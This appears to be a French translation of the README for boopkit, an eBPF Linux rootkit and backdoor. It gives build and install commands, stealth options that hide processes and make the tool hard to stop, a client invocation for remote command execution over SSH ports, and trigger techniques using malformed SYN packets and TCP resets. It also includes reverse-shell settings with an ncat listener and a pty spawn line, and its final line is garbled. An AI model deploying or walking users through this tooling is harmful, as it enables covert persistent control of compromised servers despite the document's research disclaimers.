
Backdoor Linux eBPF sur TCP. Lancer des shells inversés, RCE, avec un accès privilégié préalable. Moins de Honkin, plus de Tonkin.
================================================================
██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗████████╗
██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗██║ ██╔╝██║╚══██╔══╝
██████╔╝██║ ██║██║ ██║██████╔╝█████╔╝ ██║ ██║
██╔══██╗██║ ██║██║ ██║██╔═══╝ ██╔═██╗ ██║ ██║
██████╔╝╚██████╔╝╚██████╔╝██║ ██║ ██╗██║ ██║
╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝
Auteur : Kris Nóva <[email protected]> Version 1.4.0
EN AUCUN CAS LE TITULAIRE DU DROIT D'AUTEUR OU LES CONTRIBUTEURS NE POURRONT ÊTRE TENUS RESPONSABLES DE TOUT DOMMAGE DIRECT, INDIRECT, ACCESSOIRE, SPÉCIAL, EXEMPLAIRE OU CONSÉCUTIF.
N'ESSAYEZ PAS D'UTILISER CES OUTILS POUR ENFREINDRE LA LOI.
L'AUTEUR N'EST PAS RESPONSABLE DE TOUTE ACTION ILLÉGALE.
L'UTILISATION ABUSIVE DU LOGICIEL, DES INFORMATIONS OU DU CODE SOURCE
PEUT ENTRAÎNER DES POURSUITES PÉNALES.
Utilisation à vos risques et périls.
================================================================
Boopkit. Rootkit et backdoor Linux. Construit avec eBPF.
Utilisation : boopkit [options]
Options : -h, help Affiche l'aide et l'usage de boopkit. -i, interface Nom de l'interface. lo, eth0, wlan0, etc. -s, sudo-bypass Ignore la vérification sudo. Brise l'obfuscation des PID. -r, reverse-conn Tente une connexion inverse RCE si aucune charge utile trouvée. -q, quiet Désactive la sortie. -x, reject Adresses sources à rejeter des déclencheurs.
Backdoor Linux, rootkit et outils de contournement eBPF.
Exécution de commandes à distance sur TCP brut.
- Testé sur le noyau Linux 5.16
- Testé sur le noyau Linux 5.17
- Exécution de code à distance via TCP (SSH, Nginx, Kubernetes, etc.)
- Contournement de passerelle réseau (mauvaises sommes de contrôle, réinitialisation TCP)
- Auto-obfuscation à l'exécution (masquage de processus eBPF)
##### Avertissement
> Ceci **N'EST PAS** une exploitation ! Cela nécessite un accès privilégié préalable sur un serveur pour fonctionner !
> Je suis un chercheur en sécurité professionnel. Ce sont des outils de type white hat utilisés uniquement à des fins de recherche.
> Utilisez-le de manière responsable. N'utilisez jamais ce logiciel illégalement.

## Côté serveur
Téléchargez et compilez boopkit.
```bash
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.3.0.tar.gz
tar -xzf v1.3.0.tar.gz
cd boopkit-1.3.0/
make
sudo make install
Exécutez boopkit en avant-plan.
# Rejeter toutes les boops sur localhost et 10.0.0.1
boopkit -x 127.0.0.1 -x 10.0.0.1
Exécutez boopkit en arrière-plan en mode silencieux.
# Danger ! Cela peut être TRÈS difficile à arrêter ! Exécutez-le à vos risques et périls !
boopkit -q &
Boopkit est maintenant en cours d'exécution et peut être exploité à l'aide de l'outil en ligne de commande client boopkit-boop.
Téléchargez et compilez boopkit.
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.2.0.tar.gz
tar -xzf v1.2.0.tar.gz
cd boopkit-1.2.0/
make
sudo make install
Exécutez boopkit-boop contre le serveur.
# ===================
RCE="ls -la"
# ===================
LHOST="127.0.0.1"
LPORT="3535"
RHOST="127.0.0.1"
RPORT="22"
boopkit-boop \
-lhost $LHOST \
-lport $LPORT \
-rhost $RHOST \
-rport $RPORT \
-c "$RCE"
Boopkit répondra à divers événements sur le réseau. Les deux peuvent être déclenchés avec l'outil boopkit-boop.
Format de l'en-tête TCP. Tiré du RFC 793. Septembre 1981
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
{ data }
{ .... }
{ data }
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Tout d'abord, l'outil boopkit-boop enverra un paquet TCP SYN malformé avec une somme de contrôle vide au serveur via une socket SOCK_RAW. Cela déclenchera boopkit à distance, quels que soient les services TCP en cours d'exécution. Cela fonctionne sur n'importe quel serveur Linux exécutant boopkit, quel que soit l'état des services TCP.
Utilisez -p avec boopkit-boop pour n'utiliser que ce premier vecteur.
⚠️ Certains matériels réseau modernes SUPPRIMENT tous les paquets à somme de contrôle malformée comme celui nécessaire pour exploiter boopkit avec ce vecteur !
Ensuite, l'outil boopkit-boop effectuera une prise de contact TCP valide avec une socket SOCK_STREAM contre un service TCP distant tel que SSH, Kubernetes, Nginx, etc. Une fois la prise de contact TCP initiale terminée, boopkit-boop répétera le processus une deuxième fois.
La deuxième prise de contact inversera le drapeau de réinitialisation TCP dans le paquet, déclenchant une réinitialisation TCP sur le serveur.
L'une ou l'autre de ces tactiques suffit à déclencher indépendamment boopkit. Divers matériels réseau et conditions d'exécution rendront chaque tactique plus ou moins viable. Boopkit essaiera les deux et répondra aux deux par défaut.
Le fichier boopscript est un script compatible Metasploit qui peut être utilisé pour déclencher à distance la backdoor boopkit après que boopkit-boop soit installé sur une machine Linux distante.
# boopscript
RHOST="127.0.0.1"
RPORT="22"
LHOST="127.0.0.1"
LPORT="3535"
NCAT="/usr/bin/ncat"
NCATLISTENPORT="3545"
libbpflibxdppython -c "import pty; pty.spawn('/bin/bash')"
Merci aux auteurs originaux pour leurs exemples de code utiles ! J'ai beaucoup forké de code pour ce projet !